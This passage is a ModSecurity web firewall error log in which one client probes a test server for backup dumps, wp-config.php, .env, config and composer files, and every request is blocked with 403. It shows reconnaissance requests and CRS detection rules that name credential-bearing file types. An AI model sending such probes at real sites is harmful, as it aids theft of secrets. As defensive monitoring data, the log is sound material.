[Sun Mar 22 01:06:17.739529 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/dump.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFQgAAAAg&quot;]
[Sun Mar 22 01:06:17.783840 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/error.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFRAAAAAg&quot;]
[Sun Mar 22 01:06:17.784227 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/error.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFRAAAAAg&quot;]
[Sun Mar 22 01:06:17.784363 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/error.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFRAAAAAg&quot;]
[Sun Mar 22 01:06:17.851162 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/logs/error.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFRwAAAAg&quot;]
[Sun Mar 22 01:06:17.851549 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/logs/error.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFRwAAAAg&quot;]
[Sun Mar 22 01:06:17.851679 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/logs/error.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFRwAAAAg&quot;]
[Sun Mar 22 01:06:17.963553 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.conf&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFTAAAAAg&quot;]
[Sun Mar 22 01:06:17.963952 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.conf&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFTAAAAAg&quot;]
[Sun Mar 22 01:06:17.964086 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.conf&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFTAAAAAg&quot;]
[Sun Mar 22 01:06:17.985812 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFTQAAAAg&quot;]
[Sun Mar 22 01:06:17.986191 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFTQAAAAg&quot;]
[Sun Mar 22 01:06:17.986321 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFTQAAAAg&quot;]
[Sun Mar 22 01:06:18.008387 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /backup/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFTgAAAAg&quot;]
[Sun Mar 22 01:06:18.008596 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFTgAAAAg&quot;]
[Sun Mar 22 01:06:18.008733 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFTgAAAAg&quot;]
[Sun Mar 22 01:06:18.030922 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFTwAAAAg&quot;]
[Sun Mar 22 01:06:18.031175 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /backup/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFTwAAAAg&quot;]
[Sun Mar 22 01:06:18.031382 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFTwAAAAg&quot;]
[Sun Mar 22 01:06:18.031522 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFTwAAAAg&quot;]
[Sun Mar 22 01:06:18.076154 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backups/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFUQAAAAg&quot;]
[Sun Mar 22 01:06:18.076369 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFUQAAAAg&quot;]
[Sun Mar 22 01:06:18.076508 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFUQAAAAg&quot;]
[Sun Mar 22 01:06:18.143422 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFVAAAAAg&quot;]
[Sun Mar 22 01:06:18.143803 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFVAAAAAg&quot;]
[Sun Mar 22 01:06:18.143938 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFVAAAAAg&quot;]
[Sun Mar 22 01:06:18.481810 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFYwAAAAg&quot;]
[Sun Mar 22 01:06:18.482020 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFYwAAAAg&quot;]
[Sun Mar 22 01:06:18.482158 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFYwAAAAg&quot;]
[Sun Mar 22 01:06:18.504053 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 